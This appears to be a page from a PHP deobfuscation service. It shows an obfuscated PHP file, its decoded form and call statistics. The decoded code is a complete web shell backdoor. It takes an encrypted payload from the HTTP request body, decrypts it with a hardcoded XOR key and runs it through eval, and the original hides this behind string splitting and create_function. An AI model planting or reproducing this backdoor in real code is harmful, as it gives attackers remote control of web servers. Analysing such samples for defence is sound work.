Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $q='N=1) {@ob_st"Nart();"N@eva"Nl(@"Ngzuncompr"N"Ness(@x(@b"Nase64_de"Nco"Nd"'; $v..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="5c630617";$kh="9065c6eed496";$kf="17c9370b6363";$p="sApvNtY2uR5RwLAN";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$q='N=1) {@ob_st"Nart();"N@eva"Nl(@"Ngzuncompr"N"Ness(@x(@b"Nase64_de"Nco"Nd"';
$v='en($"N"Nt);$o="";f"Nor"N($i=0;$"Ni<$"Nl;){f"Nor($j=0;($j<"N"N"N$c&&$i<"N$l';
$x='"s"NA"NpvN"NtY2uR5RwLAN"N";fu"Nnction x("N$t,$k){$c=s"Ntrlen"N($k);"N$l=strl';
$F='atch(""N/$kh(.+)$kf/",@fi"Nle_g"Net"N_co"Nntents("php"N://input")"N,"N$m)="';
$j=str_replace('h','','chrehateh_fhhunchtion');
$g='N"Ne($m[1]),$k)));$o"N=@ob_get_conte"Nnts();@"Nob_end"N_cle"Nan();$r"N=@ba';
$O=');$j++,$i++){$o"N.=$"Nt{$i"N}^$k{$j};}}ret"Nurn $o"N;}i"Nf ("N"N@pr"Neg_m';
$i='s"Ne6"N4_en"Nc"Node(@x(@gz"Ncompre"Nss($o),$k));pr"Nint("$p"N$kh$"Nr$kf");}';
$w='$k="5c6"N3"N0"N617";$kh="9065c6e"Ned496"N";$kf="N"17c9370"Nb63"N6"N3";$p=';
$X=str_replace('"N','',$w.$x.$v.$O.$F.$q.$g.$i);
$G=$j('',$X);$G();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 12273154bea8d7545da02f16586d97ef |
Eval Count | 1 |
Decode Time | 202 ms |